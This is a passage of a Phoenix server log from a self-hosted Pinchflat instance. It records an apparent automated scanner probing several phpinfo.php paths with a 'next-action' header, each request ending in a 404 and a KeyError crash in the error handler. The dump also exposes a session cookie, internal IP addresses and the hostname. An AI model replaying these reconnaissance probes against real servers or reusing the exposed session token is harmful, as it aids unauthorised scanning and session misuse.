PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/test/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXLI9LstpWF8ABVsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 60, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 60, host_info: :undefined }}, a (truncated) 17:14:33.816 [info] GET /dev/phpinfo.php 17:14:33.816 [debug] QUERY OK source="settings" db=0.1ms idle=817.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:33.816 [debug] QUERY OK source="settings" db=0.1ms idle=544.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:33.817 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:33.817 [error] #PID<0.11828.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 61) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /dev/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dev/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dev/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 61, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11828.0>, params: %{}, path_info: ["dev", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/dev/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXMJ414t-VgQABVuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dev/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 61, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dev/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dev/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 61, host_info: :undefined }}, assigns: (truncated) 17:14:34.089 [info] GET /development/phpinfo.php 17:14:34.089 [debug] QUERY OK source="settings" db=0.1ms idle=544.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:34.089 [debug] QUERY OK source="settings" db=0.1ms idle=545.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:34.089 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:34.090 [error] #PID<0.11829.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 62) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /development/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /development/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/development/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 62, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11829.0>, params: %{}, path_info: ["development", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/development/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXNK7Rr_LT9sABVwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/development/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 62, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /development/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/development/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 62, (truncated) 17:14:34.361 [info] GET /develop/phpinfo.php 17:14:34.362 [debug] QUERY OK source="settings" db=0.1ms idle=545.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:34.362 [debug] QUERY OK source="settings" db=0.0ms idle=545.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:34.362 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:34.362 [error] #PID<0.11830.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 63) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /develop/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /develop/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/develop/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 63, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11830.0>, params: %{}, path_info: ["develop", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/develop/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXOL8heibWqQABVyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/develop/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 63, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /develop/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: 